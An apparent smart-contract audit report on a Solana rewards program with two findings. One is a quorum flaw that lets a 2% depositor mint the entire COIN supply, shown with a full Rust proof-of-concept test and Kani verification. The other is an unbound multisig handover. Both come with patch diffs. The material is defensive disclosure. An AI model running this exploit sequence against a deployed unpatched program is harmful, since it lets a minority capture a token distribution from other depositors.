percolator-meta

Genesis distribution can be captured by a minority when committed depositors exit during voting

InvariantGenesis distribution can be captured by a minority when committed depositors exit during voting

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is F1; co-occurring duplicates: genesis-quorum. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

program/src/lib.rs: quorum gate 2384; GenesisConfig::outstanding_principal 470-472 (no floor, no snapshot); process_genesis_withdraw raises total_withdrawn post-kickstart 2062-2069 without touching total_deposited, and non-voters are not blocked (1874); winner-take-all mint 2394 / 2407.

Description

After kickstart a depositor's capital is deployed into the market, yet a non-voting depositor may still withdraw it — raising total_withdrawn, which shrinks the quorum denominator while total_deposited stays frozen at its kickstart value. If the non-voting cohort exits during voting, the quorum bar collapses and a holder of a small fraction of the committed pool, as the sole voter, can satisfy quorum and mint the entire COIN supply to itself.

Impact

A 2%-of-committed-pool holder can capture 100% of the COIN distribution. Depositor principal is never at risk — this is governance / economic capture, not theft of deposits.

Layer 3 — Symbolic verification (Kani)

✓ Counterexample found (bug confirmed by symbolic execution)

Layer 4 — On-chain BPF reproduction

✓ Reproduced through deployed BPF instructions

F1: minority voter holding 2/100 of committed principal captured 100/100 of the COIN supply after the 98-unit non-voting cohort exited the live market and collapsed the quorum denominator - genesis quorum invariant violated

Reproduction

Formal (Kani): f1b_minority_cannot_win asserts a quorum-passing voter holds at least one third of original principal; Kani returns a counterexample. On-chain (LiteSVM): test_f1b_minority_captures_full_supply_after_nonvoters_exit asserts the genesis-quorum safety invariant (a minority of committed principal must not mint the majority of supply); against the real BPF programs that assertion is violated on-chain and the test panics, witnessing a 2-unit depositor (2% of the committed 100-unit pool) minting the full 100-unit COIN supply after the 98-unit committed non-voter exits the live market during voting.

Recommended fix

Measure quorum against total_deposited, which is already frozen at kickstart (deposits closed; post-kickstart exits move only total_withdrawn). Verified on-chain: the one-line change rebuilds clean and blocks the capture: the permissionless trigger is rejected with genesis vote lacks a principal quorum, so the minority never mints. Trade-off: anchoring to the committed pool means low turnout can stall the distribution — pair with the spec'd deposit window and a governance fallback.

Layer 2 — Concrete proof of concept (engine-direct)

// ============================================================================
// F1-B (Jelleo audit) — a minority captures the FULL COIN supply after COMMITTED
// non-voters exit during voting. Genesis quorum is measured against LIVE
// outstanding principal (program/src/lib.rs:2384, outstanding = total_deposited -
// total_withdrawn). A depositor whose capital is already deployed (post-kickstart)
// can still withdraw while holding no live ballot (lib.rs:1874); each such exit
// raises total_withdrawn and shrinks the quorum denominator, while total_deposited
// stays frozen at its kickstart value. A 2%-of-committed-pool holder, as the sole
// voter, mints 100% of the supply once the 98% non-voting cohort exits the market.
// ============================================================================
#[test]
fn test_f1b_minority_captures_full_supply_after_nonvoters_exit() {
    let mut env = TestEnv::new();
    env.init_coin_config_with_delay(50);
    env.init_genesis_bootstrap(100); // reward_supply = 100 COIN

    let attacker = Keypair::new();
    let whale = Keypair::new();
    for kp in [&attacker, &whale] {
        env.svm.airdrop(&kp.pubkey(), 10_000_000_000).unwrap();
    }
    env.genesis_deposit(&attacker, 2); // 2% of the pool
    env.genesis_deposit(&whale, 98); // 98% — committed, but will NEVER vote
    assert_eq!(env.read_token_balance(&env.genesis_vault_pda()), 100);

    // Capital is committed: real market + 50/50 kickstart deploys all 100. From here
    // total_deposited is frozen at 100 (post-kickstart exits move only total_withdrawn).
    let (slab, percolator_vault) = env.init_futarchy_percolator_market();
    let (percolator_vault_pda, _) =
        Pubkey::find_program_address(&[b"vault", slab.as_ref()], &env.percolator_id);
    env.kickstart_genesis_market(&slab, &percolator_vault);

    // Voting opens.
    env.set_clock(150);
    env.activate_live();

    // The committed 98% non-voter bails DURING voting, pulling its principal back
    // from the live market. outstanding_principal collapses 100 -> 2; total_deposited
    // stays 100.
    let collateral_mint = env.collateral_mint;
    let whale_ata = env.create_ata(&collateral_mint, &whale.pubkey(), 0);
    let exit = Instruction {
        program_id: env.rewards_id,
        accounts: vec![
            AccountMeta::new(whale.pubkey(), true),
            AccountMeta::new_readonly(env.coin_mint, false),
            AccountMeta::new_readonly(env.coin_cfg_pda(), false),
            AccountMeta::new(env.genesis_cfg_pda(), false),
            AccountMeta::new(env.genesis_position_pda(&whale.pubkey()), false),
            AccountMeta::new(whale_ata, false),
            AccountMeta::new(env.genesis_vault_pda(), false),
            AccountMeta::new_readonly(env.market_admin_pda(), false),
            AccountMeta::new_readonly(spl_token::ID, false),
            AccountMeta::new(slab, false),
            AccountMeta::new(percolator_vault, false),
            AccountMeta::new_readonly(percolator_vault_pda, false),
            AccountMeta::new_readonly(env.percolator_id, false),
        ],
        data: encode_genesis_bootstrap_withdraw(0, 50, 48), // 50 insurance + 48 backing = 98
    };
    env.svm.expire_blockhash();
    let tx = Transaction::new_signed_with_payer(
        &[ComputeBudgetInstruction::set_compute_unit_limit(1_400_000), exit],
        Some(&whale.pubkey()),
        &[&whale],
        env.svm.latest_blockhash(),
    );
    env.svm
        .send_transaction(tx)
        .expect("committed non-voter exits the live market during voting");
    assert_eq!(
        env.read_token_balance(&whale_ata),
        98,
        "whale recovered its full committed principal from the live market"
    );

    // Attacker — 2% of the committed pool — is the sole voter, backing its own dest.
    let attacker_coin = env.create_coin_ata(&attacker.pubkey(), 0);
    env.init_genesis_distribution(1, &attacker_coin);
    env.vote_genesis_distribution(&attacker, 1);

    // Permissionless trigger: quorum is voted(2)*2 > outstanding(2) — passes ONLY
    // because the denominator collapsed — and the attacker holds 100% of cast weight.
    let cranker = Keypair::new();
    env.svm.airdrop(&cranker.pubkey(), 10_000_000_000).unwrap();
    env.trigger_genesis_distribution(&cranker, 1, &attacker_coin);

    // L4 reproduction in the engine's invariant paradigm: assert the genesis-quorum
    // SAFETY property -- a voter holding a minority (2 of 100) of the committed principal
    // must NOT be able to mint the majority of the COIN supply. Against the audited
    // (unpatched) program this property is violated on-chain and panics with the witness
    // below; against the one-line quorum fix the trigger is rejected and execution never
    // reaches here. Same on-chain capture the positive PoC proved, stated as the invariant.
    let attacker_final = env.read_token_balance(&attacker_coin);
    assert!(
        attacker_final <= 33,
        "F1: minority voter holding 2/100 of committed principal captured {}/100 of the COIN supply after the 98-unit non-voting cohort exited the live market and collapsed the quorum denominator - genesis quorum invariant violated",
        attacker_final
    );
}

Layer P3 — Proposed structural fix (patch diff)

F1 (Medium) — anchor the genesis quorum to the committed pool

The winner-take-all genesis quorum is checked against live `outstanding_principal`
(= total_deposited - total_withdrawn). Committed depositors can withdraw after
kickstart (this only raises total_withdrawn), so a non-voting cohort that exits
during voting collapses the denominator and lets a minority of the committed pool
mint 100% of the COIN supply.

Fix: measure quorum against `total_deposited`, which is frozen at kickstart
(deposits are closed; post-kickstart exits move only total_withdrawn). This anchors
the quorum to the committed pool so exits during voting cannot lower the bar.

Trade-off to note for the maintainer: anchoring to the committed pool means low
turnout can stall the distribution. Pairing this with the spec'd deposit window
(Note A) — which freezes the eligible set at a deadline — and an explicit
governance fallback is the complete design.

VERIFIED on-chain: with this patch the program rebuilds (cargo build-sbf), and the
capture PoC `test_f1b_minority_captures_full_supply_after_nonvoters_exit` flips from
PASS (a 2% holder mints 100%) to the trigger being rejected with
"genesis vote lacks a principal quorum" (InstructionError InvalidInstructionData).

--- a/program/src/lib.rs
+++ b/program/src/lib.rs
@@ -2382,7 +2382,7 @@ fn process_trigger_genesis_distribution<'a>(
     // Quorum: more than half the outstanding principal has cast a vote. Exits
     // shrink `outstanding`, so this bar drops as depositors leave.
-    if (cfg.total_voted_principal as u128) * 2 <= cfg.outstanding_principal() as u128 {
+    if (cfg.total_voted_principal as u128) * 2 <= cfg.total_deposited as u128 {
         msg!("genesis vote lacks a principal quorum");
         return Err(ProgramError::InvalidInstructionData);

Genesis to DAO handover is not bound to the vote winner

InvariantGenesis to DAO handover is not bound to the vote winner

ClusterThis finding represents 2 hypotheses that converged on the same code-site root cause. The cluster representative is C1; co-occurring duplicates: genesis-handover. Each duplicate produced an independent STRONG-classified PoC fire against the same engine function — see §B for the clustering rule.

Affected code

program/src/lib.rs: process_handover_genesis_squads 2840-2917; new_authority read at 2857, forwarded unchecked (2886-2890). The winner is bound only to GenesisDistribution.destination (2167, checked at trigger 2377), never consulted here.

Description

The handover verifies the futarchy authority and that genesis is finalized, but performs no check binding new_authority to the winning proposal — the winner lives only in GenesisDistribution.destination, which the handover never loads. Control of the multisig (and any upgrade authority it holds) can be handed to an arbitrary key while a different proposal won the on-chain vote, contradicting spec constraint #1 ("no keys/multisigs trusted after bootstrap").

Impact

Multisig / upgrade-authority control can be handed to a non-winner. No depositor principal is touched; the controller is trusted by the spec's own design constraint #4, so this is informational / defence-in-depth.

Layer 3 — Symbolic verification (Kani)

—

Layer 4 — On-chain BPF reproduction

—

Reproduction

The repository's own passing tests show it: test_genesis_squads_create_and_handover_through_governance hands over to Pubkey::new_unique() and asserts success; test_full_genesis_to_dao_lifecycle_end_to_end (step 10) does the same after a real winner has minted the supply, still rotating to an unrelated key.

Recommended fix

Load the executed GenesisDistribution, assert is_executed() and that it matches this genesis, and require new_authority to equal the owner of proposal.destination. The rewards-program change compiles; it extends the handover instruction by two accounts, so the governance-adapter proxy and tests must forward them.

Layer 2 — Concrete proof of concept (engine-direct)

/// The genesis market is born under a program-created Squads 1/1 + 48h multisig,
/// and control is handed to the winning DAO by rotating config_authority — all
/// driven through governance -> rewards -> Squads CPIs against the real binary.
#[test]
fn test_genesis_squads_create_and_handover_through_governance() {
    let mut env = TestEnv::new();
    env.init_coin_config();
    let (program_config, treasury) = install_squads(&mut env);
    let squads = squads_program_id();
    let (create_key, multisig) = squads_multisig_for(&env);
    let market_admin = env.market_admin_pda();
    let signer = Keypair::from_bytes(&env.dao_authority.to_bytes()).unwrap();

    // --- governance tag 17: create the controlled 1/1 + 48h multisig ---
    let create_ix = Instruction {
        program_id: env.governance_id,
        accounts: vec![
            AccountMeta::new(signer.pubkey(), true),                        // payer/creator
            AccountMeta::new_readonly(env.governance_authority_pda, false), // authority
            AccountMeta::new_readonly(env.rewards_id, false),               // rewards_program
            AccountMeta::new_readonly(env.coin_mint, false),
            AccountMeta::new_readonly(env.coin_cfg_pda(), false),
            AccountMeta::new_readonly(market_admin, false),
            AccountMeta::new_readonly(create_key, false),
            AccountMeta::new_readonly(squads, false),
            AccountMeta::new_readonly(program_config, false),
            AccountMeta::new(treasury, false),
            AccountMeta::new(multisig, false),
            AccountMeta::new_readonly(solana_sdk::system_program::ID, false),
        ],
        data: vec![17u8],
    };
    env.svm.expire_blockhash();
    let tx = Transaction::new_signed_with_payer(
        &[
            ComputeBudgetInstruction::set_compute_unit_limit(1_400_000),
            create_ix,
        ],
        Some(&signer.pubkey()),
        &[&signer],
        env.svm.latest_blockhash(),
    );
    env.svm
        .send_transaction(tx)
        .expect("init_genesis_squads via governance failed");

    let ms = env.svm.get_account(&multisig).expect("multisig created");
    assert_eq!(ms.owner, squads, "multisig owned by Squads");
    assert_eq!(
        multisig_config_authority(&ms.data),
        market_admin,
        "config_authority is the program's market_admin PDA at genesis",
    );
    assert_eq!(
        u16::from_le_bytes(ms.data[72..74].try_into().unwrap()),
        1,
        "1/1 threshold",
    );
    assert_eq!(
        u32::from_le_bytes(ms.data[74..78].try_into().unwrap()),
        SQUADS_TIMELOCK_48H,
        "48h timelock",
    );

    // --- craft a finalized GenesisConfig so handover is permitted ---
    let genesis_cfg = env.genesis_cfg_pda();
    let mut gdata = vec![0u8; 160]; // GenesisConfig size
    gdata[0..8].copy_from_slice(b"GENCFG01");
    gdata[8..40].copy_from_slice(env.coin_mint.as_ref()); // coin_mint
    gdata[136] = 1; // finalized
    gdata[137] = 1; // kicked
    env.svm
        .set_account(
            genesis_cfg,
            Account {
                lamports: 10_000_000,
                data: gdata,
                owner: env.rewards_id,
                executable: false,
                rent_epoch: 0,
            },
        )
        .unwrap();

    // --- governance tag 18: rotate config_authority -> winning DAO ---
    let winning_dao = Pubkey::new_unique();
    let handover_ix = Instruction {
        program_id: env.governance_id,
        accounts: vec![
            AccountMeta::new(signer.pubkey(), true),
            AccountMeta::new_readonly(env.governance_authority_pda, false),
            AccountMeta::new_readonly(env.rewards_id, false),
            AccountMeta::new_readonly(env.coin_mint, false),
            AccountMeta::new_readonly(env.coin_cfg_pda(), false),
            AccountMeta::new_readonly(genesis_cfg, false),
            AccountMeta::new_readonly(market_admin, false),
            AccountMeta::new_readonly(squads, false),
            AccountMeta::new(multisig, false),
            AccountMeta::new_readonly(winning_dao, false),
        ],
        data: vec![18u8],
    };
    env.svm.expire_blockhash();
    let tx = Transaction::new_signed_with_payer(
        &[
            ComputeBudgetInstruction::set_compute_unit_limit(1_400_000),
            handover_ix,
        ],
        Some(&signer.pubkey()),
        &[&signer],
        env.svm.latest_blockhash(),
    );
    env.svm
        .send_transaction(tx)
        .expect("handover_genesis_squads via governance failed");

    let ms = env.svm.get_account(&multisig).unwrap();
    assert_eq!(
        multisig_config_authority(&ms.data),
        winning_dao,
        "config_authority handed to the winning DAO",
    );
    assert_eq!(
        u32::from_le_bytes(ms.data[74..78].try_into().unwrap()),
        SQUADS_TIMELOCK_48H,
        "48h timelock preserved across handover",
    );
}

Layer P3 — Proposed structural fix (patch diff)

C1 (Low/info) — bind the genesis->DAO handover to the on-chain vote winner

`handover_genesis_squads` rotates the Squads config_authority to a caller-supplied
`new_authority` with no check that it corresponds to the genesis vote winner. The
winner is the single executed `GenesisDistribution`; its `destination` is the COIN
token account the supply was minted to, so the legitimate new authority is that
account's owner.

Fix: the handover takes the executed distribution + its destination token account,
asserts the proposal is executed and matches this genesis, and requires
`new_authority == owner(destination)`.

Adoption note: this extends the handover instruction's account list by two accounts
(the executed `GenesisDistribution` PDA and its destination token account). The
`governance_adapter` tag-18 proxy and the handover tests must forward them. The
rewards-program change below compiles as-is (cargo build-sbf); wiring the two extra
accounts through the adapter + tests is the remaining adoption step.

--- a/program/src/lib.rs
+++ b/program/src/lib.rs
@@ -2855,6 +2855,8 @@ fn process_handover_genesis_squads<'a>(
     let squads_program = next_account_info(iter)?;
     let multisig = next_account_info(iter)?;
     let new_authority = next_account_info(iter)?;
+    let distribution_account = next_account_info(iter)?;
+    let destination = next_account_info(iter)?;

     if !payer.is_signer {
         return Err(ProgramError::MissingRequiredSignature);
@@ -2872,6 +2874,24 @@ fn process_handover_genesis_squads<'a>(
     if !cfg.is_finalized() {
         msg!("genesis must be finalized before squads handover");
         return Err(ProgramError::InvalidInstructionData);
     }
+    // FIX (C1): bind the handover target to the on-chain vote winner. The winner is
+    // the single executed GenesisDistribution; its `destination` is the COIN token
+    // account the supply was minted to, so the legitimate authority is its owner.
+    if distribution_account.owner != program_id {
+        return Err(ProgramError::IllegalOwner);
+    }
+    let proposal = GenesisDistribution::deserialize(&distribution_account.try_borrow_data()?)?;
+    if proposal.genesis_cfg != *genesis_cfg_account.key || !proposal.is_executed() {
+        msg!("handover requires the executed winning distribution");
+        return Err(ProgramError::InvalidAccountData);
+    }
+    if proposal.destination != *destination.key {
+        return Err(ProgramError::InvalidAccountData);
+    }
+    if *new_authority.key != load_token_account(destination)?.owner {
+        msg!("handover authority must be the genesis vote winner");
+        return Err(ProgramError::InvalidAccountData);
+    }
     let admin_bump = verify_market_admin_pda(market_admin, coin_mint.key, program_id)?;